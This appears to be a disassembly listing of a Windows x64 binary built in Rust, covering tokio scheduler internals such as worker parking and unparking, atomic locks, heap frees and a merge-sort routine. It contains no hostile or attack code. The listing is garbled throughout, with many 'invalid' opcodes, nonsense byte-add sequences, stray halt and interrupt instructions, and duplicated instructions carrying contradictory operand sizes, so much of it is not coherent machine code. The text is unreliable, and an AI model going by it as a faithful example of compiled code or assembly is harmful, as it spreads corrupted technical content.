call fcn.140108820
int3
sub esp, 0x20
mfence
mov rax, qword [rcx + 0xa0]
test ax, ax
jne 0x1400ebd38
shr rax, 0x10
cmp rax, qword [rcx + 0xa8]
invalid
test al, 0
add byte [rax], al
sub dword [rax + 0xf000000], 0xfd83
add byte [rdx - 0xf3fceff], dh
cmpxchg byte [rcx + 0xb0], dl
add byte [rax], al
jae 0x1400ebd38
add byte [rax], al
mov dl, 1
xor eax, eax
lock cmpxchg byte [rcx + 0xb0], dl
jne 0x1400ebd01
add byte [rdi], cl
scasb al, byte [rdi]
mfence
mov rax, qword [rcx + 0xa0]
add byte [rax], al
invalid
add byte [rax], al
test ax, ax
jne 0x1400ebd29
shr rax, 0x10
shr eax, 0x10
cmp rax, qword [rcx + 0xa8]
jae 0x1400ebd29
lock add qword [rcx + 0xa0], 0x10001
mov rax, qword [rcx + 0xc8]
or eax, 0x48000000
test eax, eax
add byte [rax - 0x75], cl
or eax, 0x48000000
test eax, eax
je 0x1400ebcef
lea rdx, [rax - 1]
mov qword [rcx + 0xc8], rdx
mov rdx, qword [rcx + 0xc0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
je 0x1400ebc61
mov rsi, qword [rdx + rax*8 - 8]
clc
mov edi, 1
add dword [rax], eax
add byte [rax], al
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dl
jne 0x1400ebd40
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test rdi, rdi
je 0x1400ebd38
invalid
test rdi, rdi
je 0x1400ebd38
mov rdx, qword [rcx + 0x50]
mov edx, dword [rcx + 0x50]
cmp rsi, rdx
jae 0x1400ebd60
mov rax, qword [rcx + 0x48]
shl rsi, 4
shl rsi, 4
add rcx, 0x108
ror dword [rax], 1
add byte [rax], al
mov rax, qword [rax + rsi + 8]
mov eax, dword [rax + rsi + 8]
mov rdx, rcx
mov rcx, rax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400ebe60
jno 0x1400ebcee
add byte [rax], al
jno 0x1400ebcee
add byte [rax], al
add byte [rcx], dh
push qword [rcx]
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dl
invalid
xor edi, edi
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dl
invalid
add byte [rax + rdi*4 - 0x15], dh
invalid
je case.0x1400dc47a.124
jmp 0x1400ebd40
lea rax, [rcx + 0xb0]
mov rsi, rcx
mov rcx, rax
call fcn.14010b5f0
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mfence
mov rax, qword [rcx + 0xa0]
invalid
invalid
add byte [rax], al
add byte [rsi - 0x7b], ah
test eax, eax
and dword [rax + 0x66000000], 0x840fc085
invalid
test eax, eax
je case.0x1400db6bb.139
xor edi, edi
mov al, 1
lock cmpxchg byte [rcx + 0xb0], dil
add byte [rax], al
invalid
mov al, 0xb9
mov al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 8], dh
jne 0x1400ebd40
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea rax, [rcx + 0xb0]
mov rbx, rcx
mov rcx, rax
call fcn.14010b250
mov rcx, rbx
hlt
test rdi, rdi
jne 0x1400ebcbc
jmp 0x1400ebd38
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
mov rcx, rsi
call fcn.1401085b0
int3
mov ecx, dword [rsi + 0x18]
test rcx, rcx
je 0x1400ebdf1
call fcn.1400e87a0
mov rdi, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
test rbx, rbx
je 0x1400ebe23
lea r14, [rdi + 8]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
mov rax, qword [r14 - 8]
mov rcx, qword [r14]
call qword [rax + 0x18]
add r14, 0x10
invalid
adc byte [rax - 1], cl
retf
jne 0x1400ebe10
invalid
cmp qword [rsi + 0x28], 0
je 0x1400ebe46
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x2751a
and eax, 0x2751a
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
push rsi
sub rsp, 0x70
mov eax, 3
add byte [rax], al
add byte [rax], al
xchg qword [rcx + 0x18], rax
xchg dword [rcx + 0x18], eax
cmp rax, 3
ja 0x1400ebf00
add ecx, dword [rdi]
xchg dword [rax + 0x4c000000], ecx
lea r8, [0x140179958]
lea r8, [0x140179958]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
invalid
loopne case.0x1400dd260.27
mov dl, 1
xor eax, eax
lock cmpxchg byte [rcx + 0x28], dl
cmpxchg byte [rcx + 0x28], dl
add dword [rcx], esi
sal al, 0xf
cmpxchg byte [rcx + 0x28], dl
jne 0x1400ebeba
cmpxchg byte [rcx + 0x28], dl
jne 0x1400ebeba
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0x28], dl
jne 0x1400ebed7
invalid
cmp dword [rax - 0x75], ecx
push rcx
and byte [rax - 0x7b], cl
sal byte [rbp + 0x4b], cl
mov rdx, qword [rcx + 0x20]
test rdx, rdx
jne 0x1400ebef2
add rsp, 0x70
pop rsi
ret
mov rcx, rdx
add rsp, 0x70
pop rsi
jmp fcn.1400ea5b0
lea rax, [rcx + 0x28]
mov rsi, rcx
mov rcx, rax
call fcn.14010b5f0
mov rcx, rsi
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx + 0x28], dl
je 0x1400ebe9e
lea rax, [rcx + 0x28]
mov rsi, rcx
mov rcx, rax
call fcn.14010b250
mov rcx, rsi
mov rdx, qword [rcx + 0x20]
test rdx, rdx
je 0x1400ebea7
add rcx, 0x20
add rsp, 0x70
pop rsi
jmp fcn.14010a980
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x38], rax
lea rax, str.inconsistent_state_in_unpark__actual_
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadpark.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
int3
mov rax, qword [rdi + 0xb0]
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [rdi + 0xa0]
movaps xmmword [rsp + 0xa0], xmm0
mov qword [rdi + 0xa0], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
jne 0x1400ecefa
call fcn.14002e060
movups xmm0, xmmword [rdi + 0x68]
movups xmm1, xmmword [rdi + 0x78]
movups xmm2, xmmword [rdi + 0x88]
movaps xmmword [rsp + 0x1a0], xmm2
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [0x14014c800]
movups xmmword [rdi + 0x68], xmm0
movups xmm0, xmmword [0x14014c810]
movups xmmword [rdi + 0x78], xmm0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movdqu xmm0, xmmword [rax + 0xa8]
inc qword [rax + 0xa8]
movdqu xmmword [rdi + 0x88], xmm0
xor ecx, ecx
mov al, 1
lock cmpxchg byte [rdi + 0x40], cl
jne 0x1400ede61
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400ecfc0
test eax, eax
jne 0x1400ecfe0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11e], 2
jne 0x1400ede72
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x128]
test rax, rax
jne 0x1400ed010
call fcn.1400e7b50
test rax, rax
je 0x1400ed275
mov rax, qword [rax]
lock inc qword [rax]
jle 0x1400ee06d
test rax, rax
je 0x1400ed275
add rsi, 8
add rax, 0x10
lea rcx, [0x14014cff0]
mov qword [rsp + 0x80], rcx
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
cmp eax, 0xffff6fe7
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
cmp eax, 0xffff6fe7
lea rbx, [rsp + 0x80]
xor r12d, r12d
mov r13b, 1
jmp 0x1400ed06d
mov al, 1
lock cmpxchg byte [r14], r12b
jne 0x1400ed255
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
test eax, eax
je 0x1400ed0a0
cmp eax, 1
je 0x1400ed0ca
mov rcx, rsi
mov rdx, rbx
call fcn.1400e78d0
jmp 0x1400ed167
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
mov rdx, rdi
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
movzx ebp, byte [r15 + 0x11c]
movzx r14d, byte [r15 + 0x11d]
mov word [r15 + 0x11c], 0x8001
mov rcx, rsi
mov rdx, rbx
call fcn.1400e78d0
movzx ecx, byte [r15 + 0x120]
cmp ecx, 1
je 0x1400ed146
test ecx, ecx
jne 0x1400ed167
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r13, qword [rdx + rcx*8]
lea rcx, [r13 + 0xd0]
mov rdx, rdi
mov r15d, eax
call fcn.1400d4720
mov eax, r15d
mov byte [r13 + 0x120], 1
mov r13b, 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
or al, 0xca
mov byte [rcx + 0x11c], bpl
mov byte [rcx + 0x11d], r14b
cmp al, 2
jne 0x1400ed262
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbp, qword [rax + 0x128]
test rbp, rbp
je 0x1400ed1b0
mov eax, 2
lock cmpxchg qword [rbp + 0x10], r12
je 0x1400ed06d
jmp 0x1400ed1d2
xor dword [rsi + 0x66], esp
nop word cs:[rax + rax]
call fcn.1400e7b50
test rax, rax
je 0x1400edf81
mov rbp, qword [rax]
mov eax, 2
lock cmpxchg qword [rbp + 0x10], r12
je 0x1400ed06d
lea r14, [rbp + 0x20]
xor eax, eax
lock cmpxchg byte [rbp + 0x20], r13b
jne 0x1400ed223
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbp + 0x10], rcx
jne 0x1400ed240
lea r15, [rbp + 0x18]
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, r14
mov r9d, 0x3b9aca00
call fcn.140048d70
mov eax, 2
lock cmpxchg qword [rbp + 0x10], r12
jne 0x1400ed200
jmp 0x1400ed060
mov rcx, r14
call fcn.14010b5f0
xor eax, eax
mov ecx, 1
lock cmpxchg qword [rbp + 0x10], rcx
je 0x1400ed1ef
nop word [rax + rax]
cmp rax, 2
jne 0x1400edfaa
xor eax, eax
xchg qword [rbp + 0x10], rax
jmp 0x1400ed060
mov rcx, r14
call fcn.14010b250
jmp 0x1400ed06d
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
call qword [rax + 0x18]
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdx + rdx*2 - 0xd], 0xf
outsd dx, dword [rsi]
test byte [rax + rbp*4], ah
add byte [rax], al
add bl, dh
movq qword [rsp + 0x48], mm0
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x1400ed2d4
movdqu xmm0, xmmword [rsp + 0xa8]
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x40]
call fcn.1400e6630
test rax, rax
je 0x1400ed2d4
mov rsi, rax
mov rdi, rdx
mov rcx, rax
call qword [rdx]
cmp qword [rdi + 8], 0
je 0x1400ed2d4
cmp qword [rdi + 0x10], 0x11
jb 0x1400ed2c2
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x180]
mov r8, qword [rsp + 0x188]
mov rax, qword [rsp + 0x198]
lea rdx, [r8 + 1]
movdqa xmm0, xmmword [rcx]
test r8, r8
je 0x1400ed330
mov r9, rdx
shr r9, 0x3b
jne 0x1400ed325
mov r9, rdx
shl r9, 5
add r8, 0x11
add r8, r9
jb 0x1400ed325
movabs r10, 0x7ffffffffffffff1
cmp r8, r10
jb 0x1400ede45
invalid
add byte [rbp + 0x31], al
fisttp dword [rax - 0x77]
iretd
xor r11d, r11d
mov rdi, rcx
sub rdi, r9
jmp 0x1400ed333
xor r11d, r11d
lea rsi, [rcx + 0x10]
pmovmskb r9d, xmm0
mov r10d, r9d
not r10d
add rdx, rcx
mov qword [rsp + 0xe0], r11
mov qword [rsp + 0xe8], r8
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0x108], rdx
mov word [rsp + 0x110], r10w
mov qword [rsp + 0x118], rax
test rax, rax
je 0x1400ed5e2
cmp r9w, 0xffff
jne 0x1400ed3d3
nop word cs:[rax + rax]
movdqa xmm0, xmmword [rsi]
pmovmskb r9d, xmm0
add rcx, 0xfffffffffffffe00
add rsi, 0x10
cmp r9d, 0xffff
je 0x1400ed3a0
mov r10d, r9d
not r10d
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0xf8], rcx
mov edx, 0xfffffffe
sub edx, r9d
and edx, r10d
mov word [rsp + 0x110], dx
dec rax
mov qword [rsp + 0x118], rax
tzcnt edx, r10d
shl edx, 5
sub rcx, rdx
mov rdi, qword [rcx - 0x20]
mov rbx, qword [rcx - 0x18]
movdqu xmm0, xmmword [rcx - 0x10]
movdqa xmmword [rsp + 0x1b0], xmm0
test rbx, rbx
je 0x1400ed5e2
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov r14d, 4
cmovae r14, rcx
shr rcx, 0x3a
jne 0x1400ee0a8
mov rsi, r14
shl rsi, 5
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
call fcn.1400df910
test rax, rax
je 0x1400ee0ad
mov qword [rax], rdi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rsp + 0x1b0]
movups xmmword [rax + 0x10], xmm0
mov qword [rsp + 0x80], r14
mov r15, rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
movdqu xmm0, xmmword [rsp + 0xe0]
movups xmm1, xmmword [rsp + 0xf0]
movups xmm2, xmmword [rsp + 0x100]
movups xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x40], xmm0
mov rax, r14
mov r14, qword [rsp + 0x78]
test r14, r14
je 0x1400ed5fb
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
movzx eax, word [rsp + 0x70]
mov edx, 1
mov r9, 0xffffffffffffffff
lea rsi, [rsp + 0x80]
nop
test ax, ax
je 0x1400ed520
lea ebp, [rax - 1]
and ebp, eax
dec r14
test rdi, rdi
jne 0x1400ed54a
jmp 0x1400ed5f4
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
add rdi, 0xfffffffffffffe00
add rbx, 0x10
cmp eax, 0xffff
je 0x1400ed520
mov ecx, 0xfffffffe
sub ecx, eax
not eax
mov ebp, eax
and ebp, ecx
dec r14
tzcnt eax, eax
shl eax, 5
mov rcx, rdi
sub rcx, rax
mov r12, qword [rcx - 0x20]
mov r13, qword [rcx - 0x18]
movups xmm0, xmmword [rcx - 0x10]
movaps xmmword [rsp + 0x120], xmm0
test r13, r13
je 0x1400ed5f4
cmp rdx, qword [rsp + 0x80]
je 0x1400ed5b9
mov rax, rdx
shl rax, 5
mov rcx, r15
mov qword [r15 + rax], r12
mov qword [r15 + rax + 8], r13
movdqa xmm0, xmmword [rsp + 0x120]
movdqu xmmword [r15 + rax + 0x10], xmm0
inc rdx
mov qword [rsp + 0x90], rdx
mov eax, ebp
test r14, r14
jne 0x1400ed500
jmp 0x1400ed617
mov r8, r14
inc r8
cmove r8, r9
mov rcx, rsi
mov r15, rdx
call fcn.140111de0
mov r9, 0xffffffffffffffff
mov rdx, r15
mov r15, qword [rsp + 0x88]
jmp 0x1400ed57e
lea rcx, [rsp + 0xe0]
call fcn.1400ee0e0
jmp 0x1400ede30
mov qword [rsp + 0x28], rdx
jmp 0x1400ed61f
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x40]
call fcn.1400ee0e0
mov eax, 1
mov r14, r15
jmp 0x1400ed67d
mov qword [rsp + 0x28], rdx
xor r14d, r14d
mov word [rsp + 0x70], bp
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rdi
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xc0], rax
mov r14, qword [rsp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400ee0e0
mov rdx, qword [rsp + 0x28]
cmp rdx, 0x15
jae 0x1400ed68c
cmp rdx, 1
jbe 0x1400edd0e
mov r8d, 1
mov rcx, r14
call fcn.1400ee1f0
mov rax, qword [rsp + 0x28]
shl rax, 5
add rax, r14
mov r15, rax
jmp 0x1400edd24
mov rax, rdx
shl rax, 4
movabs rdx, 0x7fffffffffffffe0
and rdx, rax
movzx eax, byte [0x140182310]
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400ee0ba
mov rbx, rax
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400ee0c6
mov rbp, rax
lea rax, [r14 + 0x40]
mov qword [rsp + 0xc8], rax
lea rax, [r14 + 0x10]
mov qword [rsp + 0x138], rax
lea rax, [r14 - 0x10]
mov qword [rsp + 0x130], rax
lea rax, [r14 - 0x20]
mov qword [rsp + 0x140], rax
mov eax, 0x10
mov qword [rsp + 0xd0], rax
xor r13d, r13d
xor r12d, r12d
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rbx
jmp 0x1400ed747
mov r12d, 1
mov r13, qword [rsp + 0xd8]
cmp r13, rdx
jae 0x1400edce6
mov r9, rdx
sub r9, r13
mov rax, r13
shl rax, 5
lea rcx, [r14 + rax]
cmp r9, 2
jae 0x1400ed7e0
mov r8, r9
lea r10, [r8 + r13]
mov rsi, r10
sub rsi, r13
jb 0x1400ee016
cmp r10, rdx
ja 0x1400ee016
jae 0x1400ed8c0
cmp r8, 0xa
jae 0x1400ed8c0
lea rsi, [r13 + 0xa]
cmp rsi, rdx
cmovae rsi, rdx
cmp r13, 0xfffffffffffffff6
jae 0x1400ee02e
cmp r8, 1
adc r8, 0
mov qword [rsp + 0xd8], rsi
sub rsi, r13
mov rdx, rsi
call fcn.1400ee1f0
mov rdx, qword [rsp + 0x28]
cmp r12, qword [rsp + 0xd0]
je 0x1400ed8d2
jmp 0x1400ed92b
mov r10, qword [rcx + 0x20]
cmp r10, qword [rcx]
jae 0x1400edc90
mov esi, 2
cmp r9, 2
je 0x1400ed82f
mov rdx, qword [rsp + 0xc8]
lea r8, [rdx + rax]
nop word cs:[rax + rax]
mov r11, r10
mov r10, qword [r8]
cmp r10, r11
jae 0x1400ed82a
inc rsi
add r8, 0x20
cmp r9, rsi
jne 0x1400ed810
mov rsi, r9
mov rdx, qword [rsp + 0x28]
mov r9, rsi
add r9, r13
jb 0x1400ee05b
mov r10, r9
cmp r9, rdx
ja 0x1400ee04c
mov r8d, 1
cmp rsi, 2
jb 0x1400ed769
mov r8, rsi
shr r8, 1
add rax, qword [rsp + 0x138]
mov r9, r10
shl r9, 5
add r9, qword [rsp + 0x130]
nop word cs:[rax + rax]
movups xmm0, xmmword [rax - 0x10]
movups xmm1, xmmword [r9 - 0x10]
movups xmmword [rax - 0x10], xmm1
movups xmmword [r9 - 0x10], xmm0
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [r9]
movups xmmword [rax], xmm1
movdqu xmmword [r9], xmm0
add rax, 0x20
add r9, 0xffffffffffffffe0
dec r8
jne 0x1400ed880
mov r8, rsi
jmp 0x1400ed769
mov qword [rsp + 0xd8], r10
cmp r12, qword [rsp + 0xd0]
jne 0x1400ed92b
mov rdx, r12
shl rdx, 5
movzx eax, byte [0x140182310]
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400ee040
mov rdi, rax
lea rax, [r12 + r12]
mov qword [rsp + 0xd0], rax
mov r8, r12
shl r8, 4
mov rcx, rdi
mov rdx, rbp
call fcn.140106530
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, rdi
mov rdx, qword [rsp + 0x28]
mov rax, r12
shl rax, 4
mov qword [rbp + rax], rsi
mov qword [rbp + rax + 8], r13
inc r12
mov rax, r12
cmp r12, 2
mov qword [rsp + 0x148], rbp
jae 0x1400ed9dc
jmp 0x1400ed736
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
mov rbp, qword [rsp + 0x148]
mov rdi, qword [rsp + 0x150]
add rdi, rbp
add r15, rbp
sub r12, rdx
mov rcx, rsi
mov r8, r12
call fcn.140106530
mov rax, qword [rsp + 0x158]
add rax, r13
mov qword [r15], rax
mov rax, qword [rsp + 0x160]
mov qword [r15 + 8], rax
lea rdx, [rdi + 0x10]
mov rax, qword [rsp + 0x170]
not rax
mov r8, qword [rsp + 0x178]
add r8, rax
shl r8, 4
mov rcx, rdi
call fcn.140106530
mov rax, qword [rsp + 0x168]
cmp rax, 1
mov rdx, qword [rsp + 0x28]
jbe 0x1400ed730
mov r12, rax
lea r11, [rax - 1]
mov rcx, r11
shl rcx, 4
mov rax, qword [rbp + rcx]
mov rcx, qword [rbp + rcx + 8]
add rcx, rax
cmp rcx, rdx
je 0x1400eda50
mov r10, r12
shl r10, 4
mov r8, qword [r10 + rbp - 0x20]
cmp r8, rax
jbe 0x1400eda50
cmp r12, 2
je 0x1400edcd0
lea rsi, [r12 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [rbp + rcx]
lea r9, [r8 + rax]
cmp rcx, r9
jbe 0x1400eda67
cmp r12, 3
jbe 0x1400edcdb
add r8, rcx
cmp qword [r10 + rbp - 0x40], r8
jbe 0x1400eda67
jmp 0x1400ed736
cmp r12, 2
je 0x1400eda6c
lea rsi, [r12 - 3]
mov rcx, rsi
shl rcx, 4
mov rcx, qword [rbp + rcx]
cmp rcx, rax
jb 0x1400eda71
lea rsi, [r12 - 2]
cmp r12, rsi
jbe 0x1400edf2a
lea r15, [rsi + 1]
cmp r12, r15
jbe 0x1400edef1
mov r8, rsi
shl r8, 4
mov rcx, qword [rbp + r8 + 8]
shl r15, 4
mov rax, qword [rbp + r15]
mov rdi, qword [rbp + r15 + 8]
add rdi, rax
mov rbx, rdi
sub rbx, rcx
jb 0x1400edf63
mov qword [rsp + 0x170], rsi
mov qword [rsp + 0x178], r12
cmp rdi, rdx
ja 0x1400edf72
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x168], r11
mov qword [rsp + 0x150], r8
mov r13, qword [rbp + r8]
mov qword [rsp + 0x160], rcx
mov rsi, rcx
shl rsi, 5
add rsi, r14
mov r12, r13
shl r12, 5
lea rbp, [rsi + r12]
shl rdi, 5
mov r14, rbx
sub r14, r13
cmp r14, r13
jae 0x1400edbd0
mov r12, r14
shl r12, 5
mov rbx, qword [rsp + 0x38]
mov rcx, rbx
mov rdx, rbp
mov r8, r12
call fcn.140106530
add r12, rbx
test r13, r13
jle 0x1400edc70
test r14, r14
jle 0x1400edc70
add rdi, qword [rsp + 0x140]
mov r14, qword [rsp + 0x30]
nop word cs:[rax + rax]
mov rax, rbp
mov rcx, r12
mov rdx, qword [r12 - 0x20]
mov r8, qword [rbp - 0x20]
cmp rdx, r8
mov ebp, 0
sbb rbp, rbp
cmp rdx, r8
mov r12d, 0
adc r12, 0xffffffffffffffff
shl rbp, 5
add rbp, rax
shl r12, 5
add r12, rcx
cmp rdx, r8
mov rax, r12
cmovb rax, rbp
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
movdqu xmmword [rdi], xmm0
cmp rbp, rsi
jbe 0x1400edbbd
add rdi, 0xffffffffffffffe0
cmp r12, rbx
ja 0x1400edb60
mov rsi, rbp
jmp 0x1400ed95e
mov r14, qword [rsp + 0x38]
mov rcx, r14
mov rdx, rsi
mov r8, r12
call fcn.140106530
add r12, r14
test r13, r13
jle 0x1400edc75
cmp rbx, r13
mov r14, qword [rsp + 0x30]
jle 0x1400ed959
add rdi, r14
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
nop dword [rax + rax]
mov r8, rdx
mov rcx, qword [rbp]
xor edx, edx
xor eax, eax
cmp rcx, qword [r8]
setae dl
setb cl
mov r9, r8
cmovb r9, rbp
movdqu xmm0, xmmword [r9]
movups xmm1, xmmword [r9 + 0x10]
movups xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
add rsi, 0x20
shl edx, 5
add rdx, r8
cmp rdx, r12
jae 0x1400ed961
mov al, cl
shl eax, 5
add rbp, rax
cmp rbp, rdi
jb 0x1400edc10
jmp 0x1400ed961
mov rsi, rbp
jmp 0x1400edc7a
mov rbx, qword [rsp + 0x38]
mov rdx, rbx
mov r14, qword [rsp + 0x30]
jmp 0x1400ed961
mov r8d, 2
cmp r9, 2
je 0x1400ed765
add rax, qword [rsp + 0xc8]
nop dword [rax + rax]
mov r11, r10
mov r10, qword [rax]
cmp r10, r11
jb 0x1400ed765
inc r8
add rax, 0x20
cmp r9, r8
jne 0x1400edcb0
jmp 0x1400ed762
mov r12d, 2
jmp 0x1400ed736
cli
invalid
invalid
cli
invalid
mov r12d, 3
jmp 0x1400ed736
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbp
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
call rsi
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call rsi
mov rdx, qword [rsp + 0x28]
mov r15, rdx
shl r15, 5
add r15, r14
mov rsi, r14
test rdx, rdx
je case.0x14002a2ab.2779
lea r12, [rsp + 0x48]
lea rdi, [rsp + 0x40]
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, r14
jmp 0x1400edd5f
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call r13
add rsi, 0x20
cmp rsi, r15
mov r14, rbp
je 0x1400ede13
mov rax, qword [rsi + 8]
test rax, rax
je 0x1400eddb0
mov rbp, r14
movdqu xmm0, xmmword [rsi + 0x10]
movdqa xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x40], rax
movdqu xmmword [r12], xmm0
mov rcx, rdi
call fcn.1400e6630
test rax, rax
je 0x1400edd4f
mov rbx, rax
mov r14, rdx
mov rcx, rax
call qword [rdx]
cmp qword [r14 + 8], 0
je 0x1400edd4f
cmp qword [r14 + 0x10], 0x11
jb 0x1400edd40
mov rbx, qword [rbx - 8]
jmp 0x1400edd40
add rsi, 0x20
sub r15, rsi
je 0x1400ede13
shr r15, 5
add rsi, 0x10
mov rdi, qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1400eddd9
add rsi, 0x20
dec r15
je 0x1400ede13
mov rcx, qword [rsi + 8]
call rdi
mov rax, qword [rsi - 8]
lock dec qword [rax]
jne 0x1400ede00
mov rcx, qword [rsi - 8]
call fcn.140039680
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400eddd0
jmp 0x1400ede09
mov rax, qword [rsi]
lock dec qword [rax]
jne 0x1400eddd0
mov rcx, rsi
call fcn.1400e4860
jmp 0x1400eddd0
cmp qword [rsp + 0xc0], 0
je 0x1400ede30
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x1c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r11d, 0x10
jmp 0x1400ed328
jmp 0x1400eceaf
add rdi, 0x40
mov rcx, rdi
call fcn.14010b250
jmp 0x1400ecf70
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400ee06f
call fcn.1401105f0
test al, al
jne 0x1400ee06f
lea rcx, [rsp + 0x180]
call fcn.1400e4980
mov rsi, qword [rsp + 0xa0]
test rsi, rsi
